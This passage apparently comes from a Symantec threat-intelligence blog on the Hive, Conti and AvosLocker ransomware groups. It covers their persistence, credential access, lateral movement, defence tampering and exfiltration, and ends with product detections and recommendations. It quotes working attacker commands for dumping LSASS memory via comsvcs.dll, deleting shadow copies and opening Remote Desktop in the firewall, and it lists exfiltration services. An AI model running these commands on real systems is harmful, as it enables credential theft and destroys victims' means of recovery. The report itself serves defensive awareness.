In most cases, the spear-phishing emails contain Microsoft Word document attachments embedded with macros that lead to the installation of one of the previously mentioned malware threats. In some instances, attackers use this malware to install Cobalt Strike, which is then used to pivot to other systems on the network. These malware threats are then used to distribute ransomware onto compromised computers.
Persistence
After gaining initial access, Symantec has observed affiliates for all three ransomware families using third-party software such as AnyDesk and ConnectWise Control (previously known as ScreenConnect) to maintain access to victim networks. They also enable default Remote Desktop access in the firewall:
netsh advfirewall firewall set rule group=”Remote Desktop” new enable=yes
Actors are also known to create additional users on compromised systems to maintain access. In some instances we have seen threat actors add registry entries that allow them to automatically log in when a machine is restarted:
During the discovery phase the ransomware actors try to sweep the victim’s network to identify potential targets. Symantec has observed the aforementioned ransomware actors using tools such as the following:
ADRecon – Gathers Active Directory information and generates a report
Netscan – Discovers devices on the network
Credential Access
Mimikatz is a go-to tool for most ransomware groups and Hive, Conti, and Avoslocker are no exception. We have observed them using the PowerShell version of Mimikatz as well as the PE version of the tool. There are also instances where the threat actors directly load the PowerShell version of Mimikatz from GitHub repositories:
In addition to using Mimikatz, the threat actors have also taken advantage of the native rundll32 and comsvcs.dll combination to dump the LSASS memory:
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <process id> lsass.dmp full
Adversaries also dump the SECURITY, SYSTEM, and SAM hives and later extract credentials from the dump. In rare occasions they have also been observed using taskmgr.exe to dump the LSASS memory and later using the dump to extract valuable credentials.
Lateral Movement
Attackers employ tools like PsExec, WMI, and BITSAdmin to laterally spread and execute the ransomware on victim networks. We have also observed the attackers using several other techniques to laterally move across networks.
As with a number of other ransomware families, Hive, Conti, and Avoslocker also tamper with various security products that interfere with their goal. We have observed them meddling with security services using the net, taskkill, and sccommands to disable or terminate them. In some cases they also use tools like PC Hunterto end processes. They have also been seen tampering with various registry entries related to security products, since changes to the registry entries can make those products inoperative.
Both Hive and AvosLocker have been observed attempting to disable Windows Defender using the following reg.exe commands.
Adversaries tend to disable or tamper with operating system settings in order to make it difficult for administrators to recover data. Deleting shadow copies is a common tactic threat actors perform before starting the encryption process. They perform this task by using tools like Vssadmin or WMIC and running one of the following commands:
vssadmin.exe delete shadows /all /quiet
wmic.exe shadowcopy delete
We have also seen BCDEditbeing used to disable automatic system recovery and to ignore failures on boot:
Attackers commonly exfiltrate critical data from a victim’s environment before encrypting it. They then use the stolen data in an attempt to extort a ransom from victims. We have observed threat actors using the following cloud services to exfiltrate data:
https://anonfiles.com
https://mega.nz
https://send.exploit.in
https://ufile.io
https://www.sendspace.com
We have also seen attackers use the following tools for data exfiltration:
Filezilla
Rclone
Conclusion
The TTPs outlined in this blog are a snapshot of the current ransomware threat landscape. The TTPs used by these threat actors are constantly evolving, with groups continually tweaking their methods in a bid to outmaneuver their targets’ security defenses. As such, organizations need to be vigilant and employ a multi-layered security approach.
Symantec Protection
Symantec Endpoint Protection (SEP) protects against ransomware attacks using multiple static and dynamic technologies.
AV Protection
Ransom.Hive
Ransom.Conti
Ransom.AvosLocker
Backdoor.Cobalt
Hacktool.Mimikatz
Trojan.IcedID*
Trojan.Emotet*
W32.Qakbot*
Trojan.Trickybot*
Behavioral Protection
SONAR.RansomHive!g2
SONAR.RansomHive!g3
SONAR.RansomHive!g4
SONAR.RansomAvos!g2
SONAR.RansomConti!g1
SONAR.RansomConti!g3
SONAR.RansomConti!g4
SONAR.Ransomware!g30
SONAR.RansomGregor!g1
SONAR.SuspLaunch!gen4
SONAR.SuspLaunch!g18
SONAR.Ransom!gen59
SONAR.Ransomware!g26
SONAR.Cryptlck!g171
Intrusion Prevention System (IPS) detections
IPS blocks initial access, persistence, and lateral movement. SEP’s Audit Signatures are intended to raise awareness of potentially unwanted traffic on the network. By default, Audit Signatures do not block. Administrators reviewing the logs of IPS events in their network can note these Audit events and decide whether or not to configure the corresponding Audit Signatures to block the traffic.
The following is a list of Audit Signatures that can be enabled to block, through policies, activity related to the use of software or tools such as AnyDesk, ScreenConnect, and PsExec.
Symantec recommends that you have intrusion prevention enabled on all your devices including servers.
Adaptive Protection
Symantec Adaptive Protection can help protect against lateral movement and ransomware execution techniques used by an attacker. If you are not using tools like PsExec, WMIC, and BITSAdmin in your environment then you should “Deny” these applications and actions using Symantec Adaptive Protection policies.
Recommendations
Customers are advised to enable their Intrusion Prevention System (IPS) on desktops and servers for best protection. Click here for instructions on enabling the IPS Server Performance Tuning feature. This feature should be enabled on servers to allow additional tuning for the IPS module and definitions in high-throughput scenarios.
Customers are also advised to enable Proactive Threat Protection, also known as SONAR, which is Symantec’s behavior-based protection.
Customers should also keep Symantec Endpoint Protection (SEP) up-to-date with the latest version and definition set.
Symantec has multi-layer protection technologies for all the threat types. To provide the best protection, all SEP features should be enabled for Windows desktops and servers.